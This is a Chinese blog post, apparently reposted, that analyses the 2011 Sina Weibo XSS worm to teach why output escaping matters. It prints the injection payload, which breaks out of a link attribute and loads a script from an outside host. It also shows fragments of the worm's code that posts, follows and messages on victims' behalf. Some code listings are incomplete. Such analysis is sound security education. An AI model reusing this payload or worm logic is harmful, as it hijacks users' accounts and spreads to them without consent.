天天看點

XSS-從weibo蠕蟲事件學習

XSS攻擊:跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。故将跨站腳本攻擊縮寫為XSS。XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web使用者将代碼植入到提供給其它使用者使用的頁面中。

Xss的例子(以新浪微網誌的6.9的hellosamy蠕蟲事件為例):

sina的名人堂頁面頁面上存在這麼個連結

其實在伺服器端是這麼寫的(猜測,真實代碼長啥樣不知道,但是一定是忘記做轉義就輸出了):

其中uname并沒有做htmlspecialchars。相當于是直接由使用者輸入,然後輸出在頁面上了。

這樣的html就是存在xss漏洞

好了,這個漏洞被發現了,下面要利用它做什麼呢?

1 将uname設定成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

這樣這個url就變成了

<a href="http://images.cnblogs.com/cnblogs_com/yjf512/201203/201203081324506096.jpg"></a>

其中的引号被封閉了,然後這個頁面自動運作了一段js腳本

這個js腳本做了這樣的事情:

1 發送一個微網誌(這個是之是以成為蠕蟲的原因,這個微網誌中附帶着同樣的一個連接配接)

2 加關注uid為2201270010

3 發私信,向好友傳播連結

1

2

3

4

5

6

7

8

9

10

11

<code>try</code><code>{</code>

<code>}</code>

<code>catch</code><code>(e){}</code>

<code>main();</code>

其中就是在打開的頁面加入了&lt;script節點&gt;,并執行

main中是發送微網誌,加關注,發私信三個動作

當5000秒後,目前頁重新定位到public/topic上

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

<code>function main(){</code>

<code>publish();</code>

<code>follow();</code>

<code>message();</code>

比如

<code>function publish(){</code>

<code>data =</code><code>'content='</code> <code>+ random_msg() +</code><code>'&amp;pic=&amp;styleid=2&amp;retcode='</code><code>;</code>

<code>post(url,data,</code><code>true</code><code>);</code>

模拟post請求,由于這個js是在weibo網頁上調用的,是以就沒有跨域問題

直接post就可以産生這個效果

注:這次事件中還用到了短連結服務

這樣能增加使用者的點選成功率

事實證明,建站是需要非常小心的,每個頁面,每個輸出,如果有一兩個漏洞,都可能造成全站的大災難!!引以為戒!

本文轉自軒脈刃部落格園部落格,原文連結:http://www.cnblogs.com/yjf512/archive/2012/03/08/2385093.html,如需轉載請自行聯系原作者

繼續閱讀